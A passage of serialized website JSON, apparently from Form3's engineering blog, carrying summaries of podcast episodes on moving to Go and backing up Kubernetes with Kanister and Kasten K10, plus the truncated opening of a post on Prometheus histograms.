images.",[],"rich_text$7bc7203f-be28-4766-ad12-258ca7ee022c",{"variation":437,"version":527,"items":27166,"primary":27167,"id":27189,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":27168,"body":27169,"cta_label":5,"cta_link":27176,"aside_type":533,"aside_image":27177,"aside_video":27184,"aside_video_poster":27185,"aside_video_reduced_motion":27186,"aside_video_url":5,"aside_embed":27187,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":27188,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[27170,27173],{"type":1151,"text":27171,"spans":27172,"direction":445},"Nightly builds, alongside PR builds, ensure that we have an up-to-date view of our vulnerabilities.",[],{"type":1151,"text":27174,"spans":27175,"direction":445},"Code Insight allowed Form3 to streamline development work. No extra config and easy maintenance were big improvements to our previous code scanning solution.",[],{"link_type":434},{"dimensions":27178,"alt":5,"copyright":5,"url":27181,"id":27182,"edit":27183},{"width":27179,"height":27180},1920,1080,"\u002F_prismic-media\u002F2968aa9c610cdc4e-44ka9E0qCwruU2X9_08fc6517-c213-405f-9dfb-bccf50c.png","44ka9E0qCwruU2X9",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$7719d4f8-bf89-4a6b-9c29-855785dc7708","We are on a journey in scaling up - we are expanding our codebase and our engineering teams as fast as we can! In this talk, we present Code Insight, our tool for scanning our code for vulnerabilities",{"id":27192,"uid":27193,"type":25949,"data":27194},"alz1OxEAACwAUWiT","ep24-podcast",{"title":27195,"excerpt":27196,"card_image":27197,"published_date":27200,"reading_time":5,"tag":25960,"dek":5,"featured_image":27201,"about_form3":27202,"client_about_heading":5,"client_about_body":27203,"author_name":18970,"author_title":18971,"author_photo":27204,"author_bio":27207,"author_linkedin":27210,"slices":27212,"meta_title":27195,"meta_description":27196},".tech Podcast - Moving to Go","Our host Kevin Holditch caught up with three of our engineers to discuss their journeys to coding in Go. At Form3, Go has been the language of choice for building our cloud native platform and with more companies moving to Go the team discuss the advantages and strengths of the language.",{"dimensions":27198,"alt":25955,"copyright":5,"url":25956,"id":25957,"edit":27199},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2022-01-31",{},[],[],{"dimensions":27205,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":27206},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[27208],{"type":25,"text":25971,"spans":27209},[],{"link_type":491,"key":27211,"url":25975,"target":493},"3e29b72c-db16-481b-aec4-6fbedbb4edab",[27213,27236,27256,27286,27315,27353,27400,27441,27488],{"variation":437,"version":438,"items":27214,"primary":27215,"id":27235,"slice_type":468,"slice_label":5},[],{"body":27216},[27217,27229,27232],{"type":25,"text":27218,"spans":27219},"Three of our engineers Joseph Woodward, Nikolai Vladimirov and Mihai Tiriplică tell their stories about transitioning to writing Go full time. Each of our engineers comes from a different background: .NET\u002FC# , Python and Ruby.",[27220,27223,27226],{"start":4023,"end":11705,"type":489,"data":27221},{"link_type":491,"url":27222},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fjoseph-woodward2\u002F",{"start":10399,"end":9203,"type":489,"data":27224},{"link_type":491,"url":27225},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fnikolai-plamenov-vladimirov\u002F",{"start":629,"end":9216,"type":489,"data":27227},{"link_type":491,"url":27228},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmihai-tiriplic%C4%83-89961561\u002F",{"type":25,"text":27230,"spans":27231},"The discussion covers a wide variety of language aspects: error handling, strong typing, simplicity, speed & concurrency, building, and dependency management.",[],{"type":25,"text":27233,"spans":27234},"Our engineers compare a wide variety of Go language aspects with their experiences of their previous programming language. Here are some of the key highlights of their discussion.",[],"rich_text$58e3212e-6ff1-4d55-a50c-cce6b03dd52c",{"variation":437,"version":527,"items":27237,"primary":27238,"id":27255,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":27239,"body":27243,"cta_label":10704,"cta_link":27246,"aside_type":5,"aside_image":27249,"aside_video":27250,"aside_video_poster":27251,"aside_video_reduced_motion":27252,"aside_video_url":5,"aside_embed":27253,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":27254,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[27240],{"type":746,"text":27241,"spans":27242},"Ep 24 .tech - Moving to Go ",[],[27244],{"type":25,"text":10702,"spans":27245},[],{"link_type":491,"key":27247,"url":27248},"f91550c6-0ac1-42aa-8b47-18b3ccc2f423","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-24-tech-moving-to-go-PeFXQwcY",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$ba5c7003-0d1b-4aa5-940a-596363de0e03",{"variation":437,"version":438,"items":27257,"primary":27258,"id":27285,"slice_type":468,"slice_label":5},[],{"body":27259},[27260,27263,27270,27279],{"type":746,"text":27261,"spans":27262},"Error handling",[],{"type":25,"text":27264,"spans":27265},"In Go, error handling is explicit and errors are handled as part of normal execution flow.\nWhen first starting out with Go, error checking explicitly using if err != nil seemed cumbersome, but it does provide an improvement in readability in the long run. Code is more often read than written, after all. Go’s explicit error handling, does make the code more verbose, but it makes us consider our error cases at pull request or design phase.",[27266,27269],{"start":1130,"end":703,"type":489,"data":27267},{"link_type":491,"url":27268},"https:\u002F\u002Fgo.dev\u002Fblog\u002Ferror-handling-and-go",{"start":11218,"end":13573,"type":765},{"type":25,"text":27271,"spans":27272},".NET uses exceptions for error handling. In particular, .NET has opaque error handling as exceptions do not need to be declared on the function signature, as is required with Java exceptions. This can make it quite difficult to find out where an exception is coming from in production.",[27273,27276],{"start":398,"end":7460,"type":489,"data":27274},{"link_type":491,"url":27275},"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fdotnet\u002Fcsharp\u002Ffundamentals\u002Fexceptions\u002F",{"start":10862,"end":7016,"type":489,"data":27277},{"link_type":491,"url":27278},"https:\u002F\u002Fdocs.oracle.com\u002Fjavase\u002Ftutorial\u002Fessential\u002Fexceptions\u002Fhandling.html",{"type":25,"text":27280,"spans":27281},"Ruby exceptions are typically wrapped, although this is not enforced by the language itself. The custom exceptions are raised in a similar way to C# and Java.",[27282],{"start":398,"end":846,"type":489,"data":27283},{"link_type":491,"url":27284},"https:\u002F\u002Fruby-doc.org\u002Fcore-2.6\u002FException.html","rich_text$1efca528-2aa6-4f8b-96c4-71ed4e438ccf",{"variation":437,"version":438,"items":27287,"primary":27288,"id":27314,"slice_type":468,"slice_label":5},[],{"body":27289},[27290,27293,27299,27305,27308,27311],{"type":746,"text":27291,"spans":27292},"Strong typing",[],{"type":25,"text":27294,"spans":27295},"Go is a strongly typed language, where type checking and enforcement happens on the compiler level.",[27296],{"start":1633,"end":690,"type":489,"data":27297},{"link_type":491,"url":27298},"https:\u002F\u002Fgo.dev\u002Fref\u002Fspec#Types",{"type":25,"text":27300,"spans":27301},"On the other hand, Python is a dynamically typed language, where type checking only happens at runtime.",[27302],{"start":690,"end":3639,"type":489,"data":27303},{"link_type":491,"url":27304},"https:\u002F\u002Fwww.python.org\u002Fdoc\u002Fessays\u002Fcomparisons\u002F",{"type":1151,"text":27306,"spans":27307},"Python excels at data handling and transformation problems, where the data types are not always as expected.",[],{"type":1151,"text":27309,"spans":27310},"Strongly typed languages are safer and easier to use in bigger codebases. The typing system helps engineers know what the method is expecting and what values to pass to it to avoid errors.",[],{"type":1151,"text":27312,"spans":27313},"Python engineers sometimes enforce types using tests, which is cumbersome and time consuming.",[],"rich_text$db5327ef-e874-4f38-b075-c6a4f209793b",{"variation":437,"version":438,"items":27316,"primary":27317,"id":27352,"slice_type":468,"slice_label":5},[],{"body":27318},[27319,27322,27328,27334,27337,27340,27346,27349],{"type":746,"text":27320,"spans":27321},"Simplicity",[],{"type":25,"text":27323,"spans":27324},"Go is considered a small language as it has a reduced amount of keywords.\n",[27325],{"start":9202,"end":1797,"type":489,"data":27326},{"link_type":491,"url":27327},"https:\u002F\u002Fgo.dev\u002Fref\u002Fspec#Keywords",{"type":25,"text":27329,"spans":27330},"Go’s simple syntax and way of solving problems makes it easy to understand code across codebases and even organisations, such as opensource. The Go toolchain includes gofmt, which ensures that Go code looks the same and is easy to read.",[27331],{"start":21710,"end":15361,"type":489,"data":27332},{"link_type":491,"url":27333},"https:\u002F\u002Fpkg.go.dev\u002Fcmd\u002Fgofmt",{"type":25,"text":27335,"spans":27336},"In contrast with .NET that has a lot of functionality, Go still provides a good balance of abstraction on top of the simple building blocks that it provides.\nDealing with lower level primitives makes it easier to pick up and understand as it does not provide any “magic code” that is so abstracted it is hard to understand.",[],{"type":25,"text":27338,"spans":27339},"Python is very easy to start with, as it’s a very flexible language. The flexibility of Python is a double edge sword as the flexibility makes it difficult to figure out how to actually start implementing a new project. Go does not have these issues, as you can solve problems in a reduced number of ways.",[],{"type":25,"text":27341,"spans":27342},"Ruby leverages the power of metaprogramming, which produces very clear and simple business logic. On the other hand, the code is difficult to understand and appears magic. 🪄",[27343],{"start":8472,"end":5136,"type":489,"data":27344},{"link_type":491,"url":27345},"https:\u002F\u002Fwww.rubyguides.com\u002F2016\u002F04\u002Fmetaprogramming-in-the-wild\u002F",{"type":1151,"text":27347,"spans":27348},"As the project grows, it can become very difficult to debug and trace.",[],{"type":1151,"text":27350,"spans":27351},"Ruby is simple to start with, but requires senior expertise to ensure things don’t go wrong at scale.",[],"rich_text$9e5650bb-5471-47a0-b77a-3258cd288606",{"variation":437,"version":438,"items":27354,"primary":27355,"id":27399,"slice_type":468,"slice_label":5},[],{"body":27356},[27357,27360,27369,27375,27381,27384,27390,27393,27396],{"type":746,"text":27358,"spans":27359},"Speed & concurrency",[],{"type":25,"text":27361,"spans":27362},"One of the main advantages of Go is that it is very fast. It has explicit support for concurrent programming, so synchronisation is native and easy to use with channels and goroutines.",[27363,27366],{"start":764,"end":3044,"type":489,"data":27364},{"link_type":491,"url":27365},"https:\u002F\u002Fgo.dev\u002Fref\u002Fspec#Channel_types",{"start":24936,"end":4496,"type":489,"data":27367},{"link_type":491,"url":27368},"https:\u002F\u002Fgo.dev\u002Fref\u002Fspec#Go_statements",{"type":25,"text":27370,"spans":27371},".NET uses asynchronous programming with async and await for concurrent execution.\nThis can be quite difficult to read code, as you need to decorate your code with the two keywords and reason about execution order. Furthermore, changing a function to be asynchronous ripples up all the way to the top level.",[27372],{"start":905,"end":3853,"type":489,"data":27373},{"link_type":491,"url":27374},"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fdotnet\u002Fcsharp\u002Fprogramming-guide\u002Fconcepts\u002Fasync\u002F",{"type":25,"text":27376,"spans":27377},"Python has a global interpreter lock (GIL) which does not allow you to run on multiple cores. In Python, fan out is achieved with multiple processes. Moving to Go meant that you could reduce your Kubernetes cluster and use of resources by a lot, as you begin to leverage concurrency.",[27378],{"start":1951,"end":1486,"type":489,"data":27379},{"link_type":491,"url":27380},"https:\u002F\u002Fwiki.python.org\u002Fmoin\u002FGlobalInterpreterLock",{"type":25,"text":27382,"spans":27383},"Ruby is an interpreted language that runs in a VM. This makes it suffer in terms of performance and concurrency.",[],{"type":1151,"text":27385,"spans":27386},"Running concurrent Ruby is done in the JVM with JRuby.",[27387],{"start":5490,"end":9312,"type":489,"data":27388},{"link_type":491,"url":27389},"https:\u002F\u002Fwww.jruby.org\u002F",{"type":1151,"text":27391,"spans":27392},"The Ruby community efforts shifted to running delayed job execution tools, as it was difficult to run things concurrently. There are advanced and easy to use tools to run background jobs.",[],{"type":1151,"text":27394,"spans":27395},"Go’s channels and goroutines are easy to use and remove these problems that Ruby suffers from.",[],{"type":25,"text":27397,"spans":27398},"Finally, our speakers all agree that the compile times in Go are also very quick, giving engineers a quick feedback loop.",[],"rich_text$8a8e4e3a-cecb-4583-bc52-994c49cd7cb3",{"variation":437,"version":438,"items":27401,"primary":27402,"id":27440,"slice_type":468,"slice_label":5},[],{"body":27403},[27404,27407,27413,27422,27428,27431,27434,27437],{"type":746,"text":27405,"spans":27406},"Building",[],{"type":25,"text":27408,"spans":27409},"In Go, building is part of the standard toolchain. Everyone builds their code in the same, standard way. This makes it easier to download and contribute to other projects.",[27410],{"start":3485,"end":2868,"type":489,"data":27411},{"link_type":491,"url":27412},"https:\u002F\u002Fgo.dev\u002Fdoc\u002Ftutorial\u002Fcompile-install",{"type":25,"text":27414,"spans":27415},"This is not always the case in other languages. For example, Java has multiple solutions such as Gradle, Ant and more!",[27416,27419],{"start":4084,"end":3886,"type":489,"data":27417},{"link_type":491,"url":27418},"https:\u002F\u002Fgradle.org\u002F",{"start":3092,"end":19534,"type":489,"data":27420},{"link_type":491,"url":27421},"https:\u002F\u002Fant.apache.org\u002F",{"type":25,"text":27423,"spans":27424},".NET has MSBuild, which is defined in XML.Projects are not guaranteed to build even though they have one build system.",[27425],{"start":1355,"end":2477,"type":489,"data":27426},{"link_type":491,"url":27427},"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fvisualstudio\u002Fmsbuild\u002Fmsbuild?view=vs-2022",{"type":25,"text":27429,"spans":27430},"In Python, most tools are inbuilt, but there are a lot of alternatives too.",[],{"type":1151,"text":27432,"spans":27433},"There are in built test runners, but there are other libraries which can be used as well.",[],{"type":1151,"text":27435,"spans":27436},"Styling and formatting tools are not inbuilt.",[],{"type":25,"text":27438,"spans":27439},"In Ruby, most of packages usually work. However, you do need to match the version of the ruby interpreter and the package version, as a lot of breaking dependencies were introduced. There are tools to manage multiple Ruby versions, but the Go promise of backwards compatibility is safest.",[],"rich_text$9bdcac1b-7b9b-4e09-b4b8-f536b5df5242",{"variation":437,"version":438,"items":27442,"primary":27443,"id":27487,"slice_type":468,"slice_label":5},[],{"body":27444},[27445,27448,27454,27460,27466,27469,27472,27481,27484],{"type":746,"text":27446,"spans":27447},"Dependency management",[],{"type":25,"text":27449,"spans":27450},"Go modules deals with dependency management. Projects define and import modules as their dependencies. The code that you dependent on is pulled into your code.",[27451],{"start":398,"end":905,"type":489,"data":27452},{"link_type":491,"url":27453},"https:\u002F\u002Fgo.dev\u002Fblog\u002Fusing-go-modules",{"type":25,"text":27455,"spans":27456},"In .NET, you import DLLs as your dependencies, making it hard to see the code in your dependencies.\\ Coming from a .NET background, it was a huge game changer to be able to look at the code in your dependencies with ease in Go.",[27457],{"start":7460,"end":9799,"type":489,"data":27458},{"link_type":491,"url":27459},"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Ftroubleshoot\u002Fwindows-client\u002Fdeployment\u002Fdynamic-link-library",{"type":25,"text":27461,"spans":27462},"In Python, the package manager pip manages and installs dependencies.",[27463],{"start":8472,"end":1131,"type":489,"data":27464},{"link_type":491,"url":27465},"https:\u002F\u002Fpypi.org\u002Fproject\u002Fpip\u002F",{"type":1151,"text":27467,"spans":27468},"The big difference is that Go modules only installs dependencies on the project level, whil pip does install them globally leading to version issues.",[],{"type":1151,"text":27470,"spans":27471},"However, the big downside to using the GitHub backed Go modules is that it can be hard to keep track of supported versions, as libraries are being pulled on the fly.",[],{"type":25,"text":27473,"spans":27474},"In Ruby, dependencies are managed with RubyGems and bundler.",[27475,27478],{"start":4219,"end":9251,"type":489,"data":27476},{"link_type":491,"url":27477},"https:\u002F\u002Frubygems.org\u002F",{"start":1251,"end":592,"type":489,"data":27479},{"link_type":491,"url":27480},"https:\u002F\u002Fbundler.io\u002F",{"type":1151,"text":27482,"spans":27483},"You can specify versions for development versus prod, as well as what to load with tests.",[],{"type":1151,"text":27485,"spans":27486},"There is support for multiple versions as well.",[],"rich_text$6dfb6795-b148-4c73-8eb4-e89b2f5c6ce9",{"variation":437,"version":438,"items":27489,"primary":27490,"id":27498,"slice_type":468,"slice_label":5},[],{"body":27491},[27492,27494],{"type":746,"text":26190,"spans":27493},[],{"type":25,"text":26193,"spans":27495},[27496],{"start":2651,"end":19482,"type":489,"data":27497},{"link_type":491,"url":26197},"rich_text$f1cdcc5d-a2fc-4c3f-ad6f-6bdf2aff97a4",{"id":27500,"uid":27501,"type":25949,"data":27502},"alz1OhEAACoAUWiM","ep25-podcast",{"title":27503,"excerpt":27504,"card_image":27505,"published_date":26753,"reading_time":643,"tag":25960,"dek":5,"featured_image":27508,"about_form3":27509,"client_about_heading":5,"client_about_body":27510,"author_name":18970,"author_title":18971,"author_photo":27511,"author_bio":27514,"author_linkedin":27517,"slices":27519,"meta_title":27503,"meta_description":27504},".tech Podcast - Backing up Kubernetes","More and more stateful workloads are moving to Kubernetes. The challenge is that backing up the data and restoring in the event of disaster can be very complex. Michael Cade from Veeam, an expert in data management, takes us through how you can approach solving these issues in Kubernetes with Kanister (an open source tool) and how you can migrate whole clusters to other clouds with Kasten K10.",{"dimensions":27506,"alt":25955,"copyright":5,"url":25956,"id":25957,"edit":27507},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{"dimensions":27512,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":27513},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[27515],{"type":25,"text":25971,"spans":27516},[],{"link_type":491,"key":27518,"url":25975,"target":493},"9527fee1-91d5-4064-970e-33d5ea3d9f2c",[27520,27546,27566,27620,27670],{"variation":437,"version":438,"items":27521,"primary":27522,"id":27545,"slice_type":468,"slice_label":5},[],{"body":27523},[27524,27542],{"type":25,"text":27525,"spans":27526},"Michael Cade from Veeam talks about the importance of data backups according to the 3-2-1 backup rule. Then, he explains the importance of backing up Kubernetes persistent volumes. Kanister is an open source tool that can help with protecting Kubernetes clusters, while the commercial product Kasten K10 provides a management and orchestration layer on top of Kanister.",[27527,27530,27533,27536,27539],{"start":398,"end":2707,"type":489,"data":27528},{"link_type":491,"url":27529},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmichaelcade1\u002F",{"start":2769,"end":4023,"type":489,"data":27531},{"link_type":491,"url":27532},"https:\u002F\u002Fwww.veeam.com\u002F",{"start":5321,"end":1481,"type":489,"data":27534},{"link_type":491,"url":27535},"https:\u002F\u002Fwww.veeam.com\u002Fblog\u002F321-backup-rule.html",{"start":15352,"end":10863,"type":489,"data":27537},{"link_type":491,"url":27538},"https:\u002F\u002Fkanister.io\u002F",{"start":15395,"end":19200,"type":489,"data":27540},{"link_type":491,"url":27541},"https:\u002F\u002Fwww.kasten.io\u002Fproduct\u002F",{"type":25,"text":27543,"spans":27544},"Michael is an expert in data management and backups. Here are some of the key highlights of his discussion about the importance of backups and how to manage them in Kubernetes.",[],"rich_text$0969f320-2a50-4d4e-8c1d-7a60c9b63844",{"variation":437,"version":527,"items":27547,"primary":27548,"id":27565,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":27549,"body":27553,"cta_label":10704,"cta_link":27556,"aside_type":5,"aside_image":27559,"aside_video":27560,"aside_video_poster":27561,"aside_video_reduced_motion":27562,"aside_video_url":5,"aside_embed":27563,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":27564,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[27550],{"type":746,"text":27551,"spans":27552},"Ep 25 .tech - Backing up Kubernetes ",[],[27554],{"type":25,"text":10702,"spans":27555},[],{"link_type":491,"key":27557,"url":27558},"a910f16c-8766-4e75-a856-dfb56c54974a","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-25-tech-backing-up-kubernetes-2UDVhaRn",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$59fbe134-5860-4c28-b31d-6b0c6a7a4ea2",{"variation":437,"version":438,"items":27567,"primary":27568,"id":27619,"slice_type":468,"slice_label":5},[],{"body":27569},[27570,27573,27576,27587,27590,27593,27599,27602,27610,27616],{"type":746,"text":27571,"spans":27572},"Data backups and their importance",[],{"type":25,"text":27574,"spans":27575},"There is never a one button solution to data backups, as there is always a challenge moving large amounts of data. If the data is important to you, then you need to back it up somewhere else.",[],{"type":25,"text":27577,"spans":27578},"After first starting out in virtualisation, Veeam now focus on protection of data. They are massively advocating the 3-2-1 backup rule, regardless of exactly what solution you choose. The 3-2-1 rule states that there should be 3 copies of your data, on 2 different media with 1 copy being offsite.",[27579,27581,27583,27585],{"start":8997,"end":7408,"type":489,"data":27580},{"link_type":491,"url":27535},{"start":2833,"end":27582,"type":593},235,{"start":10672,"end":27584,"type":593},270,{"start":1802,"end":27586,"type":593},296,{"type":25,"text":27588,"spans":27589},"As a concrete example, let’s say a company is running a MySQL database running on AWS. ",[],{"type":1151,"text":27591,"spans":27592},"The database running in one location is considered the first copy of the data. This data is vulnerable to corruption or deletion.",[],{"type":1151,"text":27594,"spans":27595},"You can make Amazon EBS snapshots of the data at set intervals, for example one hour. These copies are durable and can be moved accross different regions. ",[27596],{"start":1951,"end":9077,"type":489,"data":27597},{"link_type":491,"url":27598},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAWSEC2\u002Flatest\u002FUserGuide\u002FEBSSnapshots.html",{"type":1151,"text":27600,"spans":27601},"While you could push a copy of the data in another region, customers usually choose to move another copy of the data to a different cloud. Kubernetes is portable and allows us to spin our application in a different cloud.",[],{"type":1151,"text":27603,"spans":27604},"The three copies of your data consist of: the production database, the cloud snapshot, preferably on both EBS and S3 for two media, and one offsite - either in a different region, another cloud provider or even on premises.\n",[27605,27607],{"start":6835,"end":12974,"type":489,"data":27606},{"link_type":491,"url":27598},{"start":6836,"end":19148,"type":489,"data":27608},{"link_type":491,"url":27609},"https:\u002F\u002Faws.amazon.com\u002Fs3\u002F",{"type":25,"text":27611,"spans":27612},"In general, most companies aim to keep serving data in the case of a region failure, but you don’t have to aim for an RTO of 0. These outages are so rare that you might decide not to optimise for immediate rollover when these big outages happen.",[27613],{"start":3402,"end":19436,"type":489,"data":27614},{"link_type":491,"url":27615},"https:\u002F\u002Fwww.veeam.com\u002Fblog\u002Frto-rpo-definitions-values-common-practice.html",{"type":25,"text":27617,"spans":27618},"These principles also apply for personal data. You don’t want to lose all your important files in the case of disk failure, so make sure to back up your data in the cloud!",[],"rich_text$1137fdd3-effd-45af-ab34-5a5dbec760f4",{"variation":437,"version":438,"items":27621,"primary":27622,"id":27669,"slice_type":468,"slice_label":5},[],{"body":27623},[27624,27627,27630,27636,27642,27648,27654,27660,27663,27666],{"type":746,"text":27625,"spans":27626},"Kubernetes",[],{"type":25,"text":27628,"spans":27629},"A lot of the tech industry are moving to Kubernetes for their container solution.",[],{"type":25,"text":27631,"spans":27632},"Up until recently, there has been a long debate about whether Kubernetes was designed for stateful applications.",[27633],{"start":5497,"end":3971,"type":489,"data":27634},{"link_type":491,"url":27635},"https:\u002F\u002Fblog.kasten.io\u002Fposts\u002Fkubernetes-and-the-rise-of-portable-stateful-applications\u002F",{"type":1151,"text":27637,"spans":27638},"There is some fault tolerance built into Kubernetes with the pod lifecycle, persistent storage still needs to be backed up.",[27639],{"start":3407,"end":2223,"type":489,"data":27640},{"link_type":491,"url":27641},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fworkloads\u002Fpods\u002Fpod-lifecycle\u002F",{"type":1151,"text":27643,"spans":27644},"There are very rarely fully stateless products, so Kubernetes workloads need to be typically backed up.",[27645],{"start":1250,"end":1658,"type":489,"data":27646},{"link_type":491,"url":27647},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fworkloads",{"type":25,"text":27649,"spans":27650},"In Kubernetes, we have StatefulSets which allow us to create a persistent volumes, which can be backed by a storage. Pods connect to this storage, but this data remains as the containers come and go. The storage array that your pods rely on, now needs to be backed up.",[27651],{"start":4023,"end":628,"type":489,"data":27652},{"link_type":491,"url":27653},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fworkloads\u002Fcontrollers\u002Fstatefulset\u002F",{"type":25,"text":27655,"spans":27656},"One example could be a MongoDB database inside Kubernetes. Some possible solutions of backing up this database could be:",[27657],{"start":4023,"end":3639,"type":489,"data":27658},{"link_type":491,"url":27659},"https:\u002F\u002Fwww.mongodb.com\u002Fkubernetes",{"type":1151,"text":27661,"spans":27662},"We can create a script which copies the file system to an EBS snapshot. We can then write another script to restore this back to MongoDB.",[],{"type":1151,"text":27664,"spans":27665},"However, the method is clunky if your application is using multiple types of database, like a MySQL database alongside MongoDB, for example. The problem of maintaining these scripts just explodes, as we add more databases.",[],{"type":1151,"text":27667,"spans":27668},"Furthermore, these snapshots also create higher loads on the database that we are snapshotting.",[],"rich_text$6bfb9db2-4926-4563-a07a-5d0e615d73ef",{"variation":437,"version":438,"items":27671,"primary":27672,"id":27717,"slice_type":468,"slice_label":5},[],{"body":27673},[27674,27677,27685,27688,27694,27697,27700,27705,27708,27711],{"type":746,"text":27675,"spans":27676},"Kanister & Kasten K10",[],{"type":25,"text":27678,"spans":27679},"Kanister is an open source project that was created by the engineers at Kasten to solve exactly the problem of complicated backup processes.",[27680,27682],{"start":398,"end":1633,"type":489,"data":27681},{"link_type":491,"url":27538},{"start":1797,"end":9216,"type":489,"data":27683},{"link_type":491,"url":27684},"https:\u002F\u002Fwww.kasten.io\u002F",{"type":25,"text":27686,"spans":27687},"Kanister is deployed within the Kubernetes cluster that you’re protecting. It works on a simple basis: you choose a blueprint which is aligned to the data service that you’re using.",[],{"type":1151,"text":27689,"spans":27690},"There are ready made blueprints on GitHub for most common usecases.",[27691],{"start":905,"end":1977,"type":489,"data":27692},{"link_type":491,"url":27693},"https:\u002F\u002Fgithub.com\u002Fkanisterio\u002Fkanister",{"type":1151,"text":27695,"spans":27696},"The blueprints are the commands that you will leverage to create your backups of your data. It then uses the database native tools to create the backups in a consistent way.",[],{"type":1151,"text":27698,"spans":27699},"You can also write your own blueprint.",[],{"type":25,"text":27701,"spans":27702},"The commercial product that builds on Kanister is Kasten K10 is for those that have outgrown Kanister. This provides snapshotting across clouds, as well as a management and orchestration layer on top of Kanister.",[27703],{"start":2971,"end":685,"type":489,"data":27704},{"link_type":491,"url":27541},{"type":1151,"text":27706,"spans":27707},"Provides 10 free nodes forever for those who want to experiment with it.",[],{"type":25,"text":27709,"spans":27710},"Kasten K10 provides three large aspects: application consistent backup using Kanister, disaster recovery\u002Ffailover to another location and application migration\u002Fdata transformation.",[],{"type":25,"text":27712,"spans":27713},"Kasten also provide a hands on learning platform at learning.kasten.io, where you can walk through the steps of setting up a Kubernetes cluster and experiment with K10.",[27714],{"start":1251,"end":847,"type":489,"data":27715},{"link_type":491,"url":27716},"https:\u002F\u002Flearning.kasten.io\u002F","rich_text$ec226e87-7b8f-46a8-bf7b-751e6dda5f32",{"id":27719,"uid":27720,"type":25949,"data":27721},"alz1NhEAACcAUWh0","prometheus-histograms",{"title":27722,"excerpt":27723,"card_image":27724,"published_date":15975,"reading_time":1130,"tag":25960,"dek":5,"featured_image":27727,"about_form3":27728,"client_about_heading":5,"client_about_body":27729,"author_name":26951,"author_title":26952,"author_photo":27730,"author_bio":27733,"author_linkedin":27738,"slices":27740,"meta_title":27722,"meta_description":27723},"Prometheus Histograms. Run that past me again?","Having read about the difference between Prometheus histograms and summaries, Andy found himself thinking, \"run that past me again?\". In other words, he still had no idea what the difference was and was very much in the dark when it came to making an enlightened choice about how to instrument applications and start querying the results. This post is a summary (excuse the pun) of what he subsequently learnt about histograms and how they can be used.",{"dimensions":27725,"alt":413,"copyright":5,"url":414,"id":415,"edit":27726},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{"dimensions":27731,"alt":26951,"copyright":5,"url":26956,"id":26957,"edit":27732},{"width":5080,"height":26955},{"x":398,"y":398,"zoom":399,"background":650},[27734],{"type":25,"text":26961,"spans":27735},[27736],{"start":19275,"end":18958,"type":489,"data":27737},{"link_type":491,"url":26965,"target":493},{"link_type":491,"key":27739,"url":26968,"target":493},"28739390-c05f-4e0d-bcda-a406dbfe9011",[27741,27769,27783,27807,27815,27838,27865,27894,27916,27927,27935,27943,27951,27959,27974,27988,28013,28052,28073,28081,28090,28119,28145,28172,28202,28210,28227],{"variation":437,"version":438,"items":27742,"primary":27743,"id":27768,"slice_type":468,"slice_label":5},[],{"body":27744},[27745,27751,27760,27765],{"type":25,"text":27746,"spans":27747},"I recently found myself in the position where I needed to do some detailed analysis of how long things were taking in a distributed software system. This is a solved problem from the community’s point of view with tools like Prometheus.",[27748],{"start":3715,"end":27582,"type":489,"data":27749},{"link_type":491,"url":27750},"https:\u002F\u002Fprometheus.io\u002F",{"type":25,"text":27752,"spans":27753},"This blog post assumes you are familiar with the different types of metric Prometheus has to offer and are aware of the fact that real-time, dynamic values can be measured using histograms or summaries.",[27754,27757],{"start":592,"end":2223,"type":489,"data":27755},{"link_type":491,"url":27756},"https:\u002F\u002Fprometheus.io\u002Fdocs\u002Fconcepts\u002Fmetric_types\u002F",{"start":3045,"end":3186,"type":489,"data":27758},{"link_type":491,"url":27759},"https:\u002F\u002Fprometheus.io\u002Fdocs\u002Fpractices\u002Fhistograms\u002F",{"type":25,"text":27761,"spans":27762},"Having read about the difference between histograms and summaries, I found myself thinking, “run that past me again?”. In other words, I still had no idea what the difference was and was very much in the dark when it came to making an enlightened choice about how to instrument my application and start querying the results.",[27763],{"start":1977,"end":9237,"type":489,"data":27764},{"link_type":491,"url":27759},{"type":25,"text":27766,"spans":27767},"This post is a summary (excuse the pun) of what I subsequently learnt about histograms and how they can be used. If you’re already a Prometheus black-belt, read no further. If you still don’t know what I’m talking about, read 